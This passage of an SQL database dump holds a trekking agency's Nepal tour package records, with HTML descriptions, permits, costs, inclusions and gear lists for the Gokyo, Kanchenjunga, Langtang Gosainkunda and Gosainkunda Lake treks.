phone from local tea house.&nbsp;<br><br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Everest Base Camp, in higher route, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. But in Lower part such as Lukla, Phakding and Namche Bazaar, there are attached bath room with toilet and shower inside. Bucket Shower is possible in high altitude such as in Lobuche and Gorakshep due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Gokyo Lake. We suggest trekkers to make plan to be covered up to 5400 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Everest Base Camp Trek.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek permit is required for Gokyo Lake Trek such as Everest National Park Permit, which is also known as Sagarmatha National Park Permit. This permit can purchased in Nepal Tourism Board of Kathmandu or in Everest National Park entrance gate of Monjo. The cost of Everest National Park Permit is 30$ per person.&nbsp;<br><br>Khumbu Pasang Lhamu Rural Municipality entrance permit is also mandatory that cost 20$ per person. This permit can obtained at Monjo village of Everest region which was imposed from 1st October 2018 replacing an existing TIMS Card. There is no need Trekker\'s Information Management System (TIMS) Card right now.</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Gokyo Lake, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Gokyo Lake. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Gokyo Lake Trek.&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:square;text-align:justify;\">Raincoat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)</li></ul><p>&nbsp;</p>', 'Gokyo Lake Trekking | Gokyo Valley Trek | Everest Gokyo Trek | Gokyo Lake Trek 2024', 'Gokyo Lake Trek offers amazing view of sunrise panorama, including four 8000 meters Himalaya such as Mt. Everest (8,848m), Makalu (8475m), Cho-Oyu (8,153m), and Lhotse (8,511m).', 'gokyo lake trekking, gokyo lake trek, gokyo lake trekking cost and itinerary, best time for gokyo lake trek, gokyo lake trekking permit, gokyo lake trekking 2024, everest gokyo lake trek, everest base camp gokyo trek, gokyo valley trek, gokyo valley trekking, 15 days gokyo lake trek, gokyo valley trekking 15 days, adventure planner', NULL, '2023-07-17 02:35:37', '2024-12-31 06:14:44');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(25, 'Kanchenjunga Base Camp Trekking', 'kanchenjunga-base-camp-trekking', '346', NULL, '346,345,343,344,347', 1, '<p style=\"text-align:justify;\">Kanchenjunga Base Camp is a remote, high altitude and long trekking trail located in far eastern part of Nepal near India border (Sikkim) that offers breathtaking vistas of high Himalaya, local ethnic settlement of Rai and Limbu, off the beaten path, lush green forest of rhododendron, oak and pine trees, glacial moraine with high adventure passes. The land of Kanchenjunga is also the residence of various wildlife such as musk deer, wild boar, red panda, black bear and different species of Birds.&nbsp;<br><br>Kanchenjunga is the 3rd highest mountain of the world standing with an elevation of 8586 m above sea level. It is the less crowded tourist destination of Nepal, so the trekkers feel silent atmosphere during their hike to Kanchenjunga. Without trekking guide and permit, tourists are not allowed to entry in this region. The trekkers also need two people having their legal document authorized by local trekking agency of Nepal. The trekking trail to Kanchenjunga goes through the Arun valley which is reflected as one of the most attractive regions for trekking in Nepal.)&nbsp;<br><br>The unbelievable scenery around south and north base camp is impressive which is surrounded by glaciers, mountain lakes, and ice lined peaks. The super view of Kanchenjunga and adventure passes of Mirgin La and Sinion La makes your trip more exciting. The trekkers can explore the high Himalayan peaks such as Kanchenjunga (8,586m), Makalu (8,481 m), Yalungkhang (8,508m), and Jannu Himal (7,770m). Jannu Himal is considered as one of the Holy Mountain, so climbers are not allowed to climb. The best time to trek Kanchenjunga trekking is in pre-monsoon season (March, April, and May) and Post-monsoon season (September, October and November).&nbsp;<br><br>The Kanchenjunga trekking begins with 50 minutes flight from Kathmandu to Bhadrapur (Jhapa) and drive to Taplejung via beautiful Ilam tea garden with cultivated incredible scenery. At first, we begin our trekking from Taplejung Bazaar to North base camp walking through Chiruwa, Amjilosa, Ghunsa, and Lhonak. Then, we head up to Kanchenjunga south base camp via Sele le Pass, Mirgin La Pass Tortong, Tseram and hike down to Taplejung and drive to Bhadrapur. After finishing long, adventure and challenging Kanchenjunga trekking, we fly back to Kathmandu from Bhadrapur.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">Highlights</h4><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Scenic drive from Bhadrapur to Taplejung&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Explore remote and high altitude Kanchenjunga Base Camp Trekking&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Explore local ethnic group of Rai and Limbu settlement</li><li style=\"list-style-type:square;text-align:justify;\">Hike through beautiful rhododendron forest</li><li style=\"list-style-type:square;text-align:justify;\">Cross adventure pass of Sele le, Mirgin La and Sinion La&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Enjoy the Mountain View of Kanchenjunga (8,586m), Makalu (8,481 m), Yalungkhang (8,508m), and Jannu Himal (7,770m).<br>&nbsp;</li></ul>', 'Kanchenjunga Base Camp is a remote, high altitude and long trekking trail located in far eastern part of Nepal near India border (Sikkim) that offers breathtaking vistas of high Himalaya, local ethnic settlement of Rai and Limbu, off the beaten path, lush green forest of rhododendron, oak and pine trees, glacial moraine with high adventure passes. The land of Kanchenjunga is also the residence of various wildlife such as musk deer, wild boar, red panda, black bear and different species of Birds.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu to Bhadrapur flight (Before Trek), Bhadrapur to Kathmandu flight (After Trek) &nbsp;</li><li style=\"list-style-type:square;\">Bhadrapur to Taplejung Drive (Before Trek) and Taplejung to Bhadrapur Drive (After Trek) &nbsp;</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation with Breakfast only during Kanchenjunga Trekking&nbsp;</li><li style=\"list-style-type:square;\">Kanchenjunga Conservation Area Project Permit, Kanchenjunga Special Permit &nbsp;</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Kanchenjunga Trekking</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">Any other things not mentioned</li></ul><p>&nbsp;</p>', NULL, 'Kanchenjunga Base Camp Trekking | Adventure Planner', 'Explore on an unforgettable journey to Kanchenjunga Base Camp with Adventure Planner. Experience stunning landscapes, diverse wildlife, and rich culture on this ultimate trekking adventure in the Himalayas. Book your trek now!', 'Kanchenjunga Base Camp Trekking, adventure travel, Nepal trekking, Himalayan treks, Kanchenjunga trek, outdoor adventures, kanchenjunga trekking, kanchenjunga base camp trek', NULL, '2023-07-17 03:53:05', '2024-12-31 06:18:49'),
(26, 'Langtang Gosainkunda Lake Trekking', 'langtang-gosainkunda-lake-trekking', '348', NULL, '348,349,350,352,351', 1, '<p style=\"text-align:justify;\">Langtang Gosainkunda Lake is popular trekking destination of Nepal located in Langtang National Park, north of Kathmandu offers wonderful Himalayan view, beautiful Langtang village, green forested area, subtropical alpine vegetation, traditional Tamang settlement, holy Lake Gosainkunda and adventure pass of Lauri Binayak which is surrounded by high mountains. The trek combines both remote, spectacular Langtang valley and high mountain Gosainkunda Lake together need 14 days to complete it. The Himalayan view such as Langtang (7,234m) Langtang Lirung (7,245m) Dorje Lakpa (6,989m), Shishapangma (8,027m), Gangchenpo (6,387m) Mt. Manaslu (8,163m), Ganesh Himal (7,422m) and more silver peaks are the main eye catching point of Langtang Gosainkunda Lake trekking.&nbsp;<br><br>The sacred Lake of Gosainkunda is the main highlight of this trekking route. It is a holy lake, popular pilgrimage destination for Hindus, situated with an elevation of 4,380m above sea level. Thousands of Hindu pilgrimage visit this lake in the month of August during Janai Purnima festival to wash their sins, bathing in the holy Lake. This place is the residence of Hindu God Shiva. The territory of this region is inhabited by local Tamang people whose living standard depending on agriculture having sheep and Yak herd, produce cheese, vegetables and livestock, trade and cultivation is close with kerung border in Tibet and some local Hindu mixed people in the lower region near Kathmandu.&nbsp;<br><br>This trekking trail goes through 6-7 hour drive from Kathmandu to Syabru besi. &nbsp;The trek follows Langtang Khola River heading to Langtang valley through bamboo, Oak and rhododendron forest, local Tibetan influenced settlement, historical Kyanjin Gompa and climb adventure Tsherko Ri (4,773m). After completing Langtang village, we head up to Gosainkunda region through Lama Hotel, Thulo Syabru, Singh Gompa, with amazing view of silver mountain peaks and residence of Red Panda, Himalayan black bear, Snow Leopard, Himalayan wild goat of Langtang National Park. We end our trek in Sundarijal near Kathmandu having downhill walk from Gosainkunda through adventure Lauri Binayak Pass (4,620m), rocky Himalayan trail, local Himalayan settlement of Ghopte, Tharepati, Kutumsang and Chisapani.&nbsp;<br>&nbsp;</p><h4>Highlights</h4><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Beautiful Scenic drive from Kathmandu to Syabru Besi</li><li style=\"list-style-type:circle;\">Explore Langtang National Park, Langtang Valley and classical Tibetan village,&nbsp;</li><li style=\"list-style-type:circle;\">Encounter unspoiled Trekking trail, alpine scenery and diverse flora and fauna, rocky Trail</li><li style=\"list-style-type:circle;\">Adventure climb to Tsherko Ri (4,773m), Amazing view of Langtang glacier, and adventure Lauri Binayak Pass (4,620m)&nbsp;</li><li style=\"list-style-type:circle;\">Welcoming Tamang people and their respectable hospitality, Sacred Lake of Gosainkunda Lake</li><li style=\"list-style-type:circle;\">Magnificent Himalayan view of Langtang (7,234m) Langtang Lirung (7,245m), Dorje-Lakpa (6,989m), Shishapangma (8,027m), Gangchenpo (6,387m) Mt. Manaslu (8,163m), Ganesh Himal (7,422m)&nbsp;<br>&nbsp;</li></ul>', 'Langtang Gosainkunda Lake is popular trekking destination of Nepal located in Langtang National Park, north of Kathmandu offers wonderful Himalayan view, beautiful Langtang village, green forested area, subtropical alpine vegetation, traditional Tamang settlement, holy Lake Gosainkunda and adventure pass of Lauri Binayak which is surrounded by high mountains.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ol style=\"list-style-type:lower-roman;\"><li style=\"list-style-type:lower-roman;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:lower-roman;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:lower-roman;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:lower-roman;\">Kathmandu to Syabru Besi drive by Private Jeep (before trek)&nbsp;</li><li style=\"list-style-type:lower-roman;\">Syabru Besi to Kathmandu drive by Private Jeep (after trek)</li><li style=\"list-style-type:lower-roman;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:lower-roman;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:lower-roman;\">Twin share Tea House Accommodation with Breakfast only during Langtang Gosainkunda Lake Trekking&nbsp;</li><li style=\"list-style-type:lower-roman;\">Langtang National Park Permit, TIMS and All document for Langtang Gosainkunda Lake Trekking&nbsp;</li><li style=\"list-style-type:lower-roman;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ol>', '<ol style=\"list-style-type:lower-roman;\"><li style=\"list-style-type:lower-roman;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:lower-roman;\">Lunch &amp; Dinner during Langtang Gosainkunda Lake Trekking</li><li style=\"list-style-type:lower-roman;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:lower-roman;\">International Flight Ticket</li><li style=\"list-style-type:lower-roman;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:lower-roman;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:lower-roman;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:lower-roman;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:lower-roman;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ol>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult trek to Langtang Valley and Gosainkunda? &nbsp;You do not need to be a good Football player or Olympic athlete to success Langtang Valley and Gosainkunda trek. Anyone who is mentally and physically fit can easily completer the journey to Langtang Valley and Gosainkunda. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Langtang Valley and Gosainkunda with happy mood are the hallmarks of your successful journey to destination. Though, Langtang Valley, Gosainkunda Trek is moderate trekking trail having steep hills with zigzagged path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Langtang Valley and Gosainkunda with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Langtang Valley, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Langtang Valley with Gosainkunda.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Langtang Valley and Gosainkunda, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Langtang Valley, Gosainkunda is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Langtang, Gosainkunda. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Langtang Valley and Gosainkunda, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Langtang Valley, Gosainkunda. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek, Langtang region trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Kathmandu, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Langtang Valley and Gosainkunda. There are multiple option for Internet and mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Even the guest houses have WI-FI during the trek to Langtang Valley which is not free, may charge to you.&nbsp;<br><br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trek to Langtang Valley and Gosainkunda, toilet and shower should be shared by all trekkers due to common Tea houses only with normal beds in the Room. There are the opportunity of attached Room with toilet and Shower in some places; we provide it where possible to get it.&nbsp;<br><br>But during the time of bad weather for example if heavy snow at that time it is hard to get shower in Langtang Valley and Kyanjin Gumpa. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Langtang Valley and Gosainkunda.</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 4,800 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Langtang Valley Trek.</p><h2 style=\"text-align:justify;\">&nbsp;<br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Langtang valley is located inside Langtang national Park. Trek permit is mandatory during the trek to Langtang Valley and Gosainkunda. Langtang national park permit cost 30$ per person in which our agency provide it after getting passport size photo and passport copy, connecting with Nepal Tourism Board. TIMS (Trekking Information Management System) is also required for Langtang Valley trek, it cost 10$ per person. During the trek to Langtang and Gosainkunda trek, also need Shivapuri National Park Permit, it cost 30$ per person.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Langtang Valley and Gosainkunda, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Everest Base Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Langtang Valley and Gosainkunda Trek.&nbsp;</p><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">&nbsp;Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof warm Gloves</li><li style=\"list-style-type:circle;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:circle;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:circle;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:circle;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:circle;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:circle;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:circle;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:circle;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Camera</li><li style=\"list-style-type:circle;text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)</li></ul><p>&nbsp;</p>', 'Langtang Gosainkunda Lake Trekking | Langtang Valley Trek | Gosainkunda Lake Trekking', 'Langtang Gosainkunda Lake is a popular trekking destination in Langtang National Park, north of Kathmandu, featuring stunning Himalayan views, lush forests, traditional Tamang villages, and the sacred Lake Gosainkunda, along with the adventurous Lauri Binayak Pass.', 'langtang gosaikunda lake trekking, langtang valley gosaikunda lake trekking, langtang valley trekking, gosaikunda lake trekking, langtang gosaikunda lake trekking cost and itinerary, langtang valley trek, gosaikunda lake trek, gosaikunda langtang valley trek, 17 days langtang gosaikunda lake trekking, langtang valley gosaikunda trekking 2024, adventure planner', NULL, '2023-07-17 04:43:12', '2024-12-31 06:21:12'),
(27, 'Gosainkunda Lake Trekking', 'gosainkunda-lake-trekking', '339', NULL, '339,340,338,341,342', 1, '<p style=\"text-align:justify;\">Gosainkunda Lake Trekking is a short and easy trekking trail of Nepal, located north part of Kathmandu in Langtang national park with an elevation of 4,380m. It is the nearest trekking trail from Kathmandu city. The amazing view of Ganesh Himal (7,422m), Langtang (7,234m), Langtang Lirung (7,245m) with more silver Mountains can explore from here. The lake is the source of holy River Trishuli; it remains frozen during winter season. So, the best time to go this place is during spring season (March-May) and autumn season (October-November). The trekking trail goes through uphill climbing from Dhunche to Gosainkunda with beautiful landscape, green forested area, terrace field, subtropical alpine vegetation, waterfall, high rocky mountain, Lakes, and adventure Lauri Binayak hike.&nbsp;<br><br>During the festival of Janai Purnima in August, thousands of Hindu pilgrims from Nepal and India visit to avoid their sins by washing and bathing in the holy lake if they did evil knowingly or unknowingly. Hindu mythology says, during Samundra Manthan legend God Shiva want to save this world by drinking poison and keeping it in his throat, he was very thirsty and with the help of his holy trident (Trishul), he went Gosainkunda and excerpt water into mountain so that he can control the pain by drinking water. So, this place is the residence of God Shiva.&nbsp;<br><br>The trekking trail to Gosainkunda Lake is occupied by Tamang settlement who are the real inhabitants of this area. It is also believe that Tibetan Buddhist Guru Rimpoche drank the water to relief food poisoning during his journey to Tibet from Nepal. Mostly, Tamang people are based on agriculture, apart from this, some are Shamans beating their traditional drums as a way to appeal their gods by organizing special pilgrimage. Trekkers need medium level of physical fitness to complete Gosainkunda Lake Trekking.&nbsp;</p><p style=\"text-align:justify;\"><br>Highlights&nbsp;</p><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Scenic drive from Kathmandu to Dhunche</li><li style=\"list-style-type:circle;text-align:justify;\">Explore Langtang National Park, Holy Lake Gosainkunda, Trishuli River</li><li style=\"list-style-type:circle;text-align:justify;\">Enjoy the Himalayan view of Ganesh Himal (7,422m), Langtang (7,234m), Langtang Lirung (7,245m)</li><li style=\"list-style-type:circle;text-align:justify;\">Encounter Tamang Settlement and their living standard&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Beautiful landscape, Subtropical alpine vegetation, Green forested Land&nbsp;<br>&nbsp;</li></ul>', 'Gosainkunda Lake Trekking is a short and easy trekking trail of Nepal, located north part of Kathmandu in Langtang national park with an elevation of 4,380m. It is the nearest trekking trail from Kathmandu city. The amazing view of Ganesh Himal (7,422m), Langtang (7,234m), Langtang 